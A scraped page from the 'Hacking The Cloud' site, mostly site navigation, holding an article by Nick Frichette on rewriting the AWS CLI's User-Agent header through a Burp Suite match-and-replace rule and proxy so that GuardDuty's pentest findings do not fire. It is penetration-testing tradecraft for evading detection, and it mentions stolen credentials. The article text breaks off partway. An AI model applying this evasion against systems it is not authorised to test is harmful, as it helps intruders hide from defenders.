tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#burp-suite-setup-and-usage class=md-nav__link> <span class=md-ellipsis> Burp Suite Setup and Usage </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/guardduty-pentest.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=bypass-guardduty-pentest-findings-for-the-aws-cli>Bypass GuardDuty Pentest Findings for the AWS CLI<a class=headerlink href=#bypass-guardduty-pentest-findings-for-the-aws-cli title="Permanent link">&para;</a></h1> <div class="admonition success"> <p class=admonition-title>Thank You</p> <p>Thank you to <a href=https://x.com/itsyobroda>@yobroda</a> for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.</p> </div> <p>As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS <a href=https://aws.amazon.com/cli/ >CLI</a> or <a href=https://aws.amazon.com/tools/ >SDK</a> to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.</p> <p>This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.</p> <p>This is where AWS <a href=https://aws.amazon.com/guardduty/ >GuardDuty</a> comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux>PenTest Finding</a>.</p> <p>As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot <a href=https://github.com/aws/aws-cli/issues/3990>natively</a> configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.</p> </div> <h2 id=burp-suite-setup-and-usage>Burp Suite Setup and Usage<a class=headerlink href=#burp-suite-setup-and-usage title="Permanent link">&para;</a></h2> <p>To begin, <a href=https://portswigger.net/burp/communitydownload>download</a> and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click <code>Proxy settings</code>.</p> <p>Next, scroll to <code>HTTP match and replace rules</code>:</p> <figure> <p><a class=glightbox href=../../../images/aws/avoiding-detection/guardduty-pentest/match-and-replace.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="HTTP match and replace rules" loading=lazy src=../../../images/aws/avoiding-detection/guardduty-pentest/match-and-replace.png></a></p> </figure> <p>From here, click <code>Add</code> and enter the following values:</p> <ul> <li>Type: <code>Request header</code></li> <li>Match: <code>^User-Agent.*$</code></li> <li>Regex match: Should be checked</li> <li>Replace: This can be any string of your choosing. Ensure you preprend <code>User-Agent:</code> to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from <a href=https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/user_agents.txt>Pacu</a>.</li> </ul> <p>Click <code>Test</code> to see an example of what your change would look like.</p> <figure> <p><a class=glightbox href=../../../images/aws/avoiding-detection/guardduty-pentest/add-new-rule.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="New match and replace rule" loading=lazy src=../../../images/aws/avoiding-detection/guardduty-pentest/add-new-rule.png></a></p> </figure> <p>To finish, click <code>OK</code>. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.</p> <p>Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the <code>HTTP_PROXY</code> and <code>HTTPS_PROXY</code> environment variables. For example:</p> <div class=highlight><pre><span></span><code><span class=nb>export</span><span class=w> </span><span class=nv>HTTPS_PROXY</span><span class=o>=</span>http://127.0.0.1:8080
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#bypass-guardduty-pentest-findings-for-the-aws-cli class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li 